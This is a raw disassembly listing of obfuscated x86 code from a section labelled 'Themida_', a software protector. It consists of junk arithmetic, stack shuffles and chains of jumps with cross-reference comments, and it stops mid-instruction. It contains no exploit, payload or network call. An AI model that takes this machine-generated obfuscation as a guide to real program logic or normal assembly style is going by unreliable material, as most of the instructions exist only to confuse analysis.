Themida_:005A5A6Ej push ebx sub esp, 4 jmp loc_5A71FA ; --------------------------------------------------------------------------- loc_5A24AA: ; CODE XREF: Themida_:005A8D3Dj dec ah add ah, 0CFh sub dl, ah jmp loc_5A6085 ; --------------------------------------------------------------------------- loc_5A24B6: ; CODE XREF: Themida_:005AC75Aj mov [esp], ecx mov ecx, esp push ebx push ecx mov ecx, 6FDD5F1Fh mov ebx, ecx pop ecx shl ebx, 7 sub ebx, 66AF417Eh add ebx, 0FFFFFFFFh push edx mov edx, 265542A9h dec edx jmp loc_59EBA8 ; --------------------------------------------------------------------------- loc_5A24DD: ; CODE XREF: Themida_:0059ADF9j add ebx, 4 push edx push 2 pop edx jmp loc_5AF2E4 ; --------------------------------------------------------------------------- loc_5A24EF: ; CODE XREF: Themida_:0059B842j mov [esp], bp pop cx pop bp xor [esp], cx xor cx, [esp] jmp loc_5AD31A ; --------------------------------------------------------------------------- loc_5A2504: ; CODE XREF: Themida_:005A15ADj push 6C450296h mov ebx, [esp] add esp, 4 and ebx, 331C0E3Bh jp loc_5A04DF push 4F12h mov [esp], edx mov edx, 41787CB0h mov bl, ah loc_5A252A: ; CODE XREF: Themida_:005A5DFDj jmp loc_59BE4F ; --------------------------------------------------------------------------- loc_5A252F: ; CODE XREF: Themida_:0059D22Ej jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A2534: ; CODE XREF: Themida_:00599D4Cj ; Themida_:005A1399j mov ebx, esp jmp loc_5A635F ; --------------------------------------------------------------------------- loc_5A253B: ; CODE XREF: Themida_:005A1052j add ebx, edi pop edi push ebp mov ebp, 103A39B9h sub ebx, ebp pop ebp shl ebx, 1 push edi mov edi, 3E8BFA88h xor ebx, edi pop edi add ebp, ebx jmp loc_59F484 ; --------------------------------------------------------------------------- loc_5A2559: ; CODE XREF: Themida_:005AA8EAj neg ecx jmp loc_59B470 ; --------------------------------------------------------------------------- loc_5A2560: ; CODE XREF: Themida_:005A0065j neg edi add edi, 1FDB4ABAh neg edi shl edi, 6 xor edi, 19BFA9CCh xor edx, edi mov edi, [esp] add esp, 4 jmp loc_5ABD59 ; --------------------------------------------------------------------------- loc_5A2583: ; CODE XREF: Themida_:0059C667j sub esp, 4 mov [esp], edi jmp loc_5AD323 ; --------------------------------------------------------------------------- loc_5A2591: ; CODE XREF: Themida_:005A9C55j mov esi, 5B5C5F62h jmp loc_5A1149 ; --------------------------------------------------------------------------- loc_5A259B: ; CODE XREF: Themida_:005A72C1j mov [esp], eax sub esp, 4 push esp pop dword ptr [esp] push edi mov edi, 4 add [esp+4], edi pop edi pop eax push 2837h mov [esp], ecx sub esp, 4 mov [esp], ebx mov ebx, 4 jmp loc_5AD16D ; --------------------------------------------------------------------------- loc_5A25CF: ; CODE XREF: Themida_:005A4591j dec eax jmp loc_5A2AE3 ; --------------------------------------------------------------------------- loc_5A25D5: ; CODE XREF: Themida_:0059A83Ej pop edx push edx mov edx, 6CC07BF1h not edx sub edx, 329752A9h xor edx, 11977B3Fh neg edx push edi mov edi, 3C860646h or edx, edi jmp loc_5A7716 ; --------------------------------------------------------------------------- loc_5A25F9: ; CODE XREF: Themida_:005AE694j mov ebp, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_59896D ; --------------------------------------------------------------------------- loc_5A260E: ; CODE XREF: Themida_:005A7B77j add esp, 4 and edx, 72402FB0h neg edx jge loc_59A201 neg edx jl loc_5A7C89 xor edx, 1DAC4504h jl loc_59ED3C push ecx mov ecx, 17345904h xor ecx, 48981716h sub edx, ecx pop ecx jmp loc_59FED5 ; --------------------------------------------------------------------------- loc_5A264A: ; CODE XREF: Themida_:0059998Ej push edx mov edx, 4 jmp loc_5AA14F ; --------------------------------------------------------------------------- loc_5A2655: ; CODE XREF: Themida_:005ADD7Aj shl ecx, 2 or ecx, 385D2157h sub ecx, 31F3255Dh shr ecx, 7 shl ecx, 2 sub esp, 4 mov [esp], esi mov esi, 3B1A1729h jmp loc_5AC125 ; --------------------------------------------------------------------------- loc_5A267A: ; CODE XREF: Themida_:0059A70Dj pop esp idiv cl movzx cx, ah push small 456Ch mov [esp], cx jmp loc_59FA90 ; --------------------------------------------------------------------------- loc_5A268E: ; CODE XREF: Themida_:00598B97j xor dh, 97h push eax push ebx mov bl, 2Ah jmp loc_5A457D ; --------------------------------------------------------------------------- loc_5A269A: ; CODE XREF: Themida_:005AC930j pop esi add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_59A3AF ; --------------------------------------------------------------------------- loc_5A26BC: ; CODE XREF: Themida_:005A100Bj mov ch, al jmp loc_5AED2B ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_59A51C push 4825h mov [esp], ecx push 33E5h mov [esp], ebx push edx jmp loc_5AB04B ; --------------------------------------------------------------------------- loc_5A26E4: ; CODE XREF: Themida_:005A83FFj sub edi, eax pop eax add eax, 122D24E4h sub esp, 4 jmp loc_59AEAE ; --------------------------------------------------------------------------- loc_5A26F7: ; CODE XREF: Themida_:005A64DFj add edi, ebp pop ebp xchg edi, [esp] jmp loc_5A1057 ; --------------------------------------------------------------------------- loc_5A2702: ; CODE XREF: Themida_:005A3345j push ebx jmp loc_5ADFDE ; --------------------------------------------------------------------------- loc_5A2708: ; CODE XREF: Themida_:loc_5A1D19j or ebp, 235E75F5h jb loc_5A4EB8 or ebp, 568A3A16h jmp loc_598926 ; --------------------------------------------------------------------------- loc_5A271F: ; CODE XREF: Themida_:005AD3A2j mov ecx, ebx pop ebx jmp loc_5AB275 ; --------------------------------------------------------------------------- loc_5A2727: ; CODE XREF: Themida_:0059D059j mov [esp], ebx mov ebx, esp push esi push ecx jmp loc_5ADEBC ; --------------------------------------------------------------------------- loc_5A2733: ; CODE XREF: Themida_:0059CBCDj mov ebx, 6C6B78BBh push ecx push esi mov esi, 6C685978h mov ecx, 1C624119h xor ecx, esi pop esi or ebx, ecx mov ecx, [esp] add esp, 4 xor ebx, 2B42075Ch push ecx mov ecx, 1D8E7F65h sub ebx, ecx jmp loc_5A63E9 ; --------------------------------------------------------------------------- loc_5A2765: ; CODE XREF: Themida_:005A3874j add eax, edx pop edx push edx mov edx, 2 sub eax, 24216405h add eax, edx add eax, 24216405h pop edx push esi sub esp, 4 mov [esp], esp push edi mov edi, 4 add [esp+4], edi jmp loc_5AA2E6 ; --------------------------------------------------------------------------- loc_5A2794: ; CODE XREF: Themida_:0059FF9Fj neg esi jmp loc_5A194F ; --------------------------------------------------------------------------- loc_5A279B: ; CODE XREF: Themida_:0059C69Dj ; Themida_:005A64D9j mov [esp], eax push small 333Eh jmp loc_5ADA93 ; --------------------------------------------------------------------------- loc_5A27A7: ; CODE XREF: Themida_:0059B81Fj ; Themida_:005AF03Bj xchg edi, [esp] pop esp sub esp, 4 mov [esp], eax push ecx mov ecx, 7E26D15h mov eax, 33A7232Ah xor eax, ecx pop ecx push ecx jmp loc_5ADDF3 ; --------------------------------------------------------------------------- loc_5A27C8: ; CODE XREF: Themida_:005AC2ECj popf retn ; --------------------------------------------------------------------------- jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A27CF: ; CODE XREF: Themida_:00599D36j push esi jmp loc_59AA1F ; --------------------------------------------------------------------------- loc_5A27D5: ; CODE XREF: Themida_:005A0D3Bj add ebx, 241709ACh add ebx, eax push eax mov eax, 7500022Eh or eax, 4FF00E88h add eax, 0A3411CAh or eax, 5D693DF2h sub eax, 297819C7h neg eax add eax, 0DA0C2DDFh sub ebx, eax pop eax mov eax, [esp] push ebx mov ebx, esp jmp loc_59B95D ; --------------------------------------------------------------------------- loc_5A280C: ; CODE XREF: Themida_:005A416Dj sub ebp, 15660F92h jbe loc_59AC46 jmp loc_5A64F0 ; --------------------------------------------------------------------------- loc_5A281D: ; CODE XREF: Themida_:0059C758j push ecx mov ecx, 4 jmp loc_59A7BF ; --------------------------------------------------------------------------- loc_5A2828: ; CODE XREF: Themida_:loc_5AB91Fj push ecx mov ecx, 54AD5F2Fh inc ecx jmp loc_5A061F ; --------------------------------------------------------------------------- loc_5A2834: ; CODE XREF: Themida_:005AD57Dj add esp, 4 add esi, 44583827h push 7BB5h mov [esp], eax mov eax, 13F173C8h or esi, eax mov eax, [esp] add esp, 4 jmp loc_59B2E0 ; --------------------------------------------------------------------------- loc_5A2857: ; CODE XREF: Themida_:005A5B20j shl eax, 4 inc eax add eax, 1415B350h sub edi, 1E29162Bh add edi, eax add edi, 1E29162Bh pop eax add edi, esi sub edi, 17187561h push dword ptr [esp] pop esi add esp, 4 push esi mov esi, 400E7AE1h xor esi, 59FB0757h jmp loc_5A7D73 ; --------------------------------------------------------------------------- loc_5A2892: ; CODE XREF: Themida_:005A5EA3j shr eax, 7 sub esp, 4 mov [esp], edi mov edi, 0B837B937h add eax, 463D2D78h sub eax, edi sub eax, 463D2D78h push dword ptr [esp] pop edi push edx mov edx, esp push eax push ebx mov ebx, 4 mov eax, ebx jmp loc_5A9900 ; --------------------------------------------------------------------------- loc_5A28C4: ; CODE XREF: Themida_:005ACF67j xchg eax, esi jmp loc_59883D ; --------------------------------------------------------------------------- loc_5A28CA: ; CODE XREF: Themida_:005A9298j mov [esp], edx push ebx push ecx mov cl, 6Bh push eax mov al, 5Bh and cl, al pop eax not cl jmp loc_5A4F90 ; --------------------------------------------------------------------------- loc_5A28DE: ; CODE XREF: Themida_:0059DC56j mov eax, 220E185Bh push edx mov edx, 518657Dh jmp loc_5AEAD0 ; --------------------------------------------------------------------------- loc_5A28EE: ; CODE XREF: Themida_:00599B29j mov ebp, 26A92879h shr ebp, 1 push ecx mov ecx, 59FF36BFh jmp loc_599F7A ; --------------------------------------------------------------------------- loc_5A2900: ; CODE XREF: Themida_:005A929Ej mov ebx, 3B5365A7h xor ebx, 6DD916C5h and ebx, 174E76F0h xor ebx, 7B0C074Fh jmp loc_5AB44F ; --------------------------------------------------------------------------- loc_5A291C: ; CODE XREF: Themida_:0059AC11j pop eax add ebx, eax mov eax, [esp] add esp, 4 pop edx xor ebx, [esp] jmp loc_5A44D3 ; --------------------------------------------------------------------------- loc_5A2931: ; CODE XREF: Themida_:0059BE74j pop ecx mov ecx, 0A84998ABh add ecx, eax jmp loc_5A2AEA ; --------------------------------------------------------------------------- loc_5A293E: ; CODE XREF: Themida_:005A4F7Cj xor [esp], eax xor eax, [esp] mov esp, [esp] mov cx, [esp] jmp loc_59CECC ; --------------------------------------------------------------------------- loc_5A2950: ; CODE XREF: Themida_:005A988Fj add edx, 4 jmp loc_5AB812 ; --------------------------------------------------------------------------- loc_5A295B: ; CODE XREF: Themida_:005A425Bj add ecx, edi pop edi add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] pop edi or ecx, 5F34051Dh jmp loc_5AD7E7 ; --------------------------------------------------------------------------- loc_5A297C: ; CODE XREF: Themida_:005A0BC0j pop eax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A2982: ; CODE XREF: Themida_:0059DB97j push dword ptr [esp] pop ecx push esi push esp pop esi add esi, 4 push ebx mov ebx, 35D85D67h dec ebx and ebx, 72984BB5h sub ebx, 7CD140C3h sub ebx, 0B3C7085Dh add esi, ebx pop ebx xchg esi, [esp] pop esp push edi mov edi, 1E9723F2h not edi neg edi sub edi, 6D217378h dec edi shr edi, 2 add edi, 2BDC0B9Ah sub ecx, edi jmp loc_5A1F71 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_5A5F91 ; --------------------------------------------------------------------------- loc_5A29DB: ; CODE XREF: Themida_:005A8F55j push esp pop ecx add ecx, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 sub ecx, ebp mov ebp, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebx push ebp jmp loc_59C3DF ; --------------------------------------------------------------------------- loc_5A2A08: ; CODE XREF: Themida_:0059F385j mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_5AAB38 ; --------------------------------------------------------------------------- loc_5A2A21: ; CODE XREF: Themida_:0059893Bj mov ebp, [esp] add esp, 4 pop esi push 7890h jmp loc_5A652D ; --------------------------------------------------------------------------- loc_5A2A32: ; CODE XREF: Themida_:005A8200j sub ebp, ecx push dword ptr [esp] pop ecx add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], esi push 421Bh mov [esp], edi jmp loc_5AE721 ; --------------------------------------------------------------------------- loc_5A2A57: ; CODE XREF: Themida_:005A3C6Bj pop edi mov esi, 6C7854ADh xor esi, edi pop edi jmp loc_5A21CF ; --------------------------------------------------------------------------- loc_5A2A65: ; CODE XREF: Themida_:0059F1B4j add ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] add al, 6Fh add al, bh sub al, 6Fh sub esp, 4 mov [esp], ecx mov ch, 65h inc ch add ch, 0CAh and ch, 4Fh add ch, 0DAh xor ch, 0A8h sub al, ch pop ecx pop bx jmp loc_5ACC5B ; --------------------------------------------------------------------------- loc_5A2A97: ; CODE XREF: Themida_:0059DCBBj ; Themida_:0059F883j push edx mov edx, 6D6E220Bh shl edx, 7 jmp loc_5A1B61 ; --------------------------------------------------------------------------- loc_5A2AA5: ; CODE XREF: Themida_:005A439Fj sub eax, ebx pop ebx push esi jmp loc_5ABBFD ; --------------------------------------------------------------------------- loc_5A2AAE: ; CODE XREF: Themida_:005A3830j mov ebx, ecx push dword ptr [esp] pop ecx add esp, 4 push edx mov edx, 738C277Dh shl edx, 3 push edx not dword ptr [esp] pop edx neg edx dec edx not edx add edx, 0CBE9960Eh xor ebx, edx pop edx jmp loc_5A5EFF ; --------------------------------------------------------------------------- loc_5A2AD8: ; CODE XREF: Themida_:0059AC88j xchg ecx, [esp] mov esp, [esp] jmp loc_5A7082 ; --------------------------------------------------------------------------- loc_5A2AE3: ; CODE XREF: Themida_:005A25D0j neg eax jmp loc_5A249A ; --------------------------------------------------------------------------- loc_5A2AEA: ; CODE XREF: Themida_:0059F195j ; Themida_:005A2939j pop eax jmp loc_5AADBB ; --------------------------------------------------------------------------- loc_5A2AF0: ; CODE XREF: Themida_:0059F308j push esi jmp loc_5A75AB ; --------------------------------------------------------------------------- loc_5A2AF6: ; CODE XREF: Themida_:0059FA97j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A2AFB: ; CODE XREF: Themida_:005AF3A3j add ecx, 1CE1ED44h mov edi, ecx mov ecx, [esp] add esp, 4 jmp loc_5AA478 ; --------------------------------------------------------------------------- loc_5A2B11: ; CODE XREF: Themida_:0059BE1Fj push eax jmp loc_5A891B ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A2B2D: ; CODE XREF: Themida_:005A2DD6j ; Themida_:005A967Dj mov eax, esp add eax, 4 jmp loc_5A144A ; --------------------------------------------------------------------------- loc_5A2B39: ; CODE XREF: Themida_:0059E6EEj mov ebx, esp add ebx, 4 jmp loc_5ACE87 ; --------------------------------------------------------------------------- loc_5A2B46: ; CODE XREF: Themida_:loc_59E8A7j sub edi, 13CDFDA0h mov esi, edi pop edi sub esp, 4 jmp loc_5A9453 ; --------------------------------------------------------------------------- loc_5A2B5A: ; CODE XREF: Themida_:0059BC56j xor al, bl jmp loc_5AA49F ; --------------------------------------------------------------------------- loc_5A2B61: ; CODE XREF: Themida_:0059F438j ; Themida_:005AF1F8j sub ebx, 27954C3Eh pop edi sub esp, 4 jmp loc_5ABDEB ; --------------------------------------------------------------------------- loc_5A2B70: ; CODE XREF: Themida_:005A2FDBj pop ebp sub edx, 0FDA72E1h push edx xchg edx, [esp] not edx xchg edx, [esp] pop edx jmp loc_59EB95 ; --------------------------------------------------------------------------- loc_5A2B86: ; CODE XREF: Themida_:0059D2C3j xchg ecx, [esp] pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A2B8F: ; CODE XREF: Themida_:loc_59DFBBj sub ebp, 5B4D5506h jmp loc_5A1F8D ; --------------------------------------------------------------------------- loc_5A2B9A: ; CODE XREF: Themida_:0059A772j pop edi add ebp, eax push edi jmp loc_59FFBB ; --------------------------------------------------------------------------- loc_5A2BA3: ; CODE XREF: Themida_:005A3905j mov dl, 0A2h sub bl, 41h jmp loc_5ACFFD ; --------------------------------------------------------------------------- loc_5A2BAD: ; CODE XREF: Themida_:0059EB2Aj ; Themida_:005AEDAFj add edi, ebx sub edi, 1FFE511Eh pop ebx mov ecx, [esp] jmp loc_5A5BA2 ; --------------------------------------------------------------------------- loc_5A2BBE: ; CODE XREF: Themida_:0059DFE6j push edx mov edx, 4FB0602Ah sub [esp+8], edx pop edx add [esp+4], ebx add dword ptr [esp+4], 4FB0602Ah add dword ptr [esp+4], 1AF52AF8h push dword ptr [esp] mov ebx, [esp] jmp loc_5A856F ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_59CD9A ; --------------------------------------------------------------------------- loc_5A2BF0: ; CODE XREF: Themida_:005AD573j add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] sub ebx, 0EE510F5Ch jmp loc_59B85E ; --------------------------------------------------------------------------- loc_5A2C0A: ; CODE XREF: Themida_:005AB8CDj mov edx, 4 mov esi, edx mov edx, [esp] jmp loc_5ACF18 ; --------------------------------------------------------------------------- loc_5A2C19: ; CODE XREF: Themida_:0059EC00j push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_59C944 ; --------------------------------------------------------------------------- loc_5A2C28: ; CODE XREF: Themida_:005A8CA4j ; Themida_:005AA048j ... mov edi, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_5A5BEB ; --------------------------------------------------------------------------- loc_5A2C40: ; CODE XREF: Themida_:0059D7AAj neg dl jmp loc_5A8CB8 ; --------------------------------------------------------------------------- loc_5A2C47: ; CODE XREF: Themida_:005A8F71j mov cl, 5Ch xor dh, cl pop ecx jmp loc_59932D ; --------------------------------------------------------------------------- loc_5A2C51: ; CODE XREF: Themida_:005995B9j sub [esp+4], eax push ebx mov ebx, 1AE846F8h sub [esp+8], ebx pop ebx push ebp jmp loc_5A65EB ; --------------------------------------------------------------------------- loc_5A2C66: ; CODE XREF: Themida_:005A3BA8j shr esi, 2 xor esi, 24BF390Bh sub esi, 7E1327D7h xor esi, 829B2A2Ah sub ebp, esi pop esi jmp loc_5AD800 ; --------------------------------------------------------------------------- loc_5A2C83: ; CODE XREF: Themida_:005A1CFFj dec esi jns loc_5A5EDB shr esi, 5 jnz loc_5AAE89 mov al, bl lodsb xor al, bl sub esp, 4 mov [esp], esi mov esi, esp push 6749h jmp loc_598940 ; --------------------------------------------------------------------------- loc_5A2CAA: ; CODE XREF: Themida_:005A7A92j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 62DCh mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_5AA721 ; --------------------------------------------------------------------------- loc_5A2CCC: ; CODE XREF: Themida_:005A6CC1j inc ecx not ecx jmp loc_5A035F ; --------------------------------------------------------------------------- loc_5A2CD4: ; CODE XREF: Themida_:005A54CFj pop ecx add edi, esi mov esi, [esp] add esp, 4 push ebx jmp loc_5A99EF ; --------------------------------------------------------------------------- loc_5A2CE3: ; CODE XREF: Themida_:00599FEEj push ebx pop esi pop ebx shr esi, 6 sub esi, 0DF3C88BDh push edi mov edi, 46E03866h sub ebx, edi jmp loc_5ABF22 ; --------------------------------------------------------------------------- loc_5A2CFC: ; CODE XREF: Themida_:005AD940j push ebx push ecx jmp loc_59AB94 ; --------------------------------------------------------------------------- push dword ptr [edi+38h] push dword ptr [esp] mov ecx, [esp] jmp loc_59E768 ; --------------------------------------------------------------------------- loc_5A2D11: ; CODE XREF: Themida_:005A225Dj ; Themida_:005A5313j shr edx, 5 jmp loc_5996B1 ; --------------------------------------------------------------------------- loc_5A2D19: ; CODE XREF: Themida_:0059EDE2j add esi, 4 add esi, 4 jmp loc_59E570 ; --------------------------------------------------------------------------- loc_5A2D2A: ; CODE XREF: Themida_:005A4C45j mov al, cl push ecx jmp loc_5A834E ; --------------------------------------------------------------------------- loc_5A2D32: ; CODE XREF: Themida_:0059ED89j and ebp, 7B83552Bh xor ebp, 38F3294Eh not ebp dec ebp inc ebp add ebp, 0B4DCEEA4h jmp loc_5A89F4 ; --------------------------------------------------------------------------- loc_5A2D4D: ; CODE XREF: Themida_:0059B518j pop ebx jmp loc_59ADB4 ; --------------------------------------------------------------------------- loc_5A2D53: ; CODE XREF: Themida_:005AC7CAj pop edx jmp loc_5AB063 ; --------------------------------------------------------------------------- loc_5A2D59: ; CODE XREF: Themida_:005A72ABj shr edi, 5 push ecx mov ecx, 26762BC9h add ecx, 13296855h xchg edx, ecx not edx xchg edx, ecx add ecx, 0FFFFFFFFh shl ecx, 2 push ebx push ecx jmp loc_5A7A97 ; --------------------------------------------------------------------------- loc_5A2D7B: ; CODE XREF: Themida_:005AD330j mov ebx, [esp] add esp, 4 push dx mov dh, 86h jmp loc_5A6B58 ; --------------------------------------------------------------------------- loc_5A2D8D: ; CODE XREF: Themida_:005A913Fj mov edx, esi pop esi jmp loc_5A719A ; --------------------------------------------------------------------------- loc_5A2D95: ; CODE XREF: Themida_:005ABAC0j add edx, 6D2C1835h sub eax, edx pop edx add eax, 365F125Dh jmp loc_59BDB7 ; --------------------------------------------------------------------------- loc_5A2DA8: ; CODE XREF: Themida_:005A9F30j inc ebp inc ebp shl ebp, 7 shl ebp, 2 add ebp, 0F86B2C4Ch add edx, ebp pop ebp sub edx, 320B1570h push esi jmp loc_5AE2D7 ; --------------------------------------------------------------------------- loc_5A2DC5: ; CODE XREF: Themida_:005AE62Bj mov [esp], eax jmp loc_5A7ED0 ; --------------------------------------------------------------------------- loc_5A2DCD: ; CODE XREF: Themida_:005A611Bj pop esi push ecx push ebx mov ebx, 0B4D2D27h push eax jmp loc_5A2B2D ; --------------------------------------------------------------------------- loc_5A2DDB: ; CODE XREF: Themida_:005AC416j mov [esp], ecx push 512Fh jmp loc_5A49F5 ; --------------------------------------------------------------------------- loc_5A2DE8: ; CODE XREF: Themida_:005A9E36j sub esp, 4 mov [esp], ebp push dword ptr [esp+4] jmp loc_5A3EDE ; --------------------------------------------------------------------------- loc_5A2DFA: ; CODE XREF: Themida_:005A722Aj ; Themida_:005A9F9Bj pop eax jmp loc_59868F ; --------------------------------------------------------------------------- loc_5A2E00: ; CODE XREF: Themida_:005A188Aj pop esi jmp loc_59D947 ; --------------------------------------------------------------------------- loc_5A2E06: ; CODE XREF: Themida_:00599AB0j ; Themida_:005AC333j mov ebp, [esp] add esp, 4 jmp loc_5A3DAE ; --------------------------------------------------------------------------- loc_5A2E14: ; CODE XREF: Themida_:0059E822j push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] mov esp, [esp] mul cl movzx cx, ah jmp loc_5A8F3E ; --------------------------------------------------------------------------- loc_5A2E2C: ; CODE XREF: Themida_:005AC03Dj inc esi add esi, 612777FEh dec esi add esi, 45C20A42h jmp loc_5A4F03 ; --------------------------------------------------------------------------- loc_5A2E3F: ; CODE XREF: Themida_:0059D8AAj ; Themida_:loc_5A7A5Cj add esi, edx pop edx pop ecx push edx sub esp, 4 mov [esp], esi mov esi, 116C5676h neg esi push edi mov edi, 49704855h shr edi, 7 push ecx mov ecx, 326A4F25h and edi, ecx pop ecx xor edi, 50E63348h and edi, 736F28B0h jmp loc_5A307D ; --------------------------------------------------------------------------- loc_5A2E77: ; CODE XREF: Themida_:005A7ACFj mov ecx, 0EA50ADEh push edi mov edi, 0 sub edi, ecx jmp loc_59B059 ; --------------------------------------------------------------------------- loc_5A2E89: ; CODE XREF: Themida_:005A9DA0j mov ebp, 2 jmp loc_59CA7D ; --------------------------------------------------------------------------- loc_5A2E93: ; CODE XREF: Themida_:005A64ABj xchg edi, [esp] pop esp xchg ebx, [esp] jmp loc_5A7ABC ; --------------------------------------------------------------------------- loc_5A2E9F: ; CODE XREF: Themida_:0059E2C1j ; Themida_:loc_5A8472j xchg edi, [esp] pop esp mov [esp], edi mov di, 3202h add di, 1 push ecx mov cx, 27B4h shr cx, 5 jmp loc_5AD692 ; --------------------------------------------------------------------------- loc_5A2EBC: ; CODE XREF: Themida_:005A6EF2j mov ebp, 4 jmp loc_59B5A8 ; --------------------------------------------------------------------------- loc_5A2EC6: ; CODE XREF: Themida_:005A067Aj mov [esp], edi mov edi, 1EED507Ah jmp loc_5AEDFC ; --------------------------------------------------------------------------- loc_5A2ED3: ; CODE XREF: Themida_:005A3991j xchg ecx, [esp] jmp loc_5A08CD ; --------------------------------------------------------------------------- loc_5A2EDB: ; CODE XREF: Themida_:005A8CDAj add esp, 4 push dx mov dh, 5Eh sub bl, 7Bh sub bl, dh add bl, 7Bh pop dx movzx eax, al mov dx, [esp] push ebp jmp loc_5AA429 ; --------------------------------------------------------------------------- loc_5A2EFC: ; CODE XREF: Themida_:005A96AFj push ebp mov ebp, 48F91869h inc ebp push esi mov esi, 48F9186Eh xor ebp, esi pop esi add eax, ebp mov ebp, [esp] add esp, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp mov ebp, 59FF50E1h inc ebp jge loc_5A4164 shr ebp, 6 or ebp, 46FF0B05h jnp loc_5A15F3 loc_5A2F3C: ; CODE XREF: Themida_:005A4CA5j push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_59B4A5 ; --------------------------------------------------------------------------- loc_5A2F4A: ; CODE XREF: Themida_:loc_5A7185j or ebx, 0EE9230Ch jnp loc_5A7374 add ebx, 0C102D885h jmp loc_5A7D6B ; --------------------------------------------------------------------------- shr ecx, 4 loc_5A2F64: ; CODE XREF: Themida_:005A8E62j push eax add dword ptr [esp], 8AC761Eh jmp loc_5A606B ; --------------------------------------------------------------------------- loc_5A2F71: ; CODE XREF: Themida_:loc_59A420j xor dl, 0EFh jo loc_5AAE4A not dl jmp loc_5A7661 ; --------------------------------------------------------------------------- loc_5A2F81: ; CODE XREF: Themida_:005AE702j add ebx, 0FFFFFFFFh not ebx sub ebx, 1334731Fh add ebx, 43298322h add ecx, 3D244A92h sub ecx, ebx jmp loc_5A8F01 ; --------------------------------------------------------------------------- loc_5A2FA2: ; CODE XREF: Themida_:0059A5A7j add eax, edx add eax, 39394CD4h mov edx, [esp] add esp, 4 jmp loc_59F77C ; --------------------------------------------------------------------------- loc_5A2FB7: ; CODE XREF: Themida_:005A327Cj not esi not esi shl esi, 7 jnp loc_59B054 jmp loc_5A5C8D ; --------------------------------------------------------------------------- mov ecx, edi pop edi xor ecx, 83D2821Ah loc_5A2FD2: ; CODE XREF: Themida_:0059A427j sub ebp, 7F920035h pop edi or edx, ebp jmp loc_5A2B70 ; --------------------------------------------------------------------------- loc_5A2FE0: ; CODE XREF: Themida_:005A60C1j pop esp jmp loc_59AE26 ; --------------------------------------------------------------------------- loc_5A2FE6: ; CODE XREF: Themida_:005AAA54j push ebp push 26CFh mov [esp], ecx mov ecx, 73DC24BDh dec ecx push eax mov eax, 5C0356E5h jmp loc_598E47 ; --------------------------------------------------------------------------- loc_5A3000: ; CODE XREF: Themida_:005A5AA7j mov edx, eax pop eax push ebp mov ebp, 49C471DBh jmp loc_59CE61 ; --------------------------------------------------------------------------- loc_5A300E: ; CODE XREF: Themida_:0059F917j mov ebp, 21BC2584h mov edx, 21BC2585h sub edx, ebp pop ebp or [edi+1Ch], edx mov edx, [esp] add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A302C: ; CODE XREF: Themida_:00598E2Aj add eax, ebp add eax, 7CD7376Eh mov ebp, [esp] add esp, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_5A05DE ; --------------------------------------------------------------------------- loc_5A304A: ; CODE XREF: Themida_:005AF509j mov [esp], esp jmp loc_59CD31 ; --------------------------------------------------------------------------- loc_5A3052: ; CODE XREF: Themida_:005A605Bj mov edi, 27F96FDEh sub edi, 121F3A0Ch add edx, edi pop edi push ecx mov ecx, 383039CFh jmp loc_5AC00B ; --------------------------------------------------------------------------- loc_5A306B: ; CODE XREF: Themida_:loc_5A4DD5j push 79D3h mov [esp], edi mov edi, 4FEA3936h jmp loc_5ABB1D ; --------------------------------------------------------------------------- loc_5A307D: ; CODE XREF: Themida_:005A2E72j shl edi, 8 sub edi, 6210C633h sub esi, edi jmp loc_5A6561 ; --------------------------------------------------------------------------- loc_5A308D: ; CODE XREF: Themida_:005A7F7Cj mov [esp], ecx mov cl, 0DCh jmp loc_59F37A ; --------------------------------------------------------------------------- loc_5A3097: ; CODE XREF: Themida_:0059F971j add al, 0F8h add al, bl push 3E6Ah mov [esp], ecx mov ch, 0B2h add ch, 0Bh jmp loc_5A1300 ; --------------------------------------------------------------------------- loc_5A30AD: ; CODE XREF: Themida_:005A8EA9j pop ebp add edi, 2 xor edi, [esp] xor [esp], edi jmp loc_5AF0CB ; --------------------------------------------------------------------------- loc_5A30BC: ; CODE XREF: Themida_:0059854Fj ; Themida_:0059C591j push dword ptr [esp] pop eax add esp, 4 pop dword ptr [esp] mov esp, [esp] push edi mov edi, esp push ebp mov ebp, 4 push ecx jmp loc_5A39D3 ; --------------------------------------------------------------------------- loc_5A30DB: ; CODE XREF: Themida_:005A5E14j shr eax, 4 jnz loc_5A3384 jmp loc_5A5E62 ; --------------------------------------------------------------------------- sub edx, 7F3B5307h pop ebx push edx mov ebp, edx loc_5A30F3: ; CODE XREF: Themida_:005A4E54j add edi, 4 add edi, 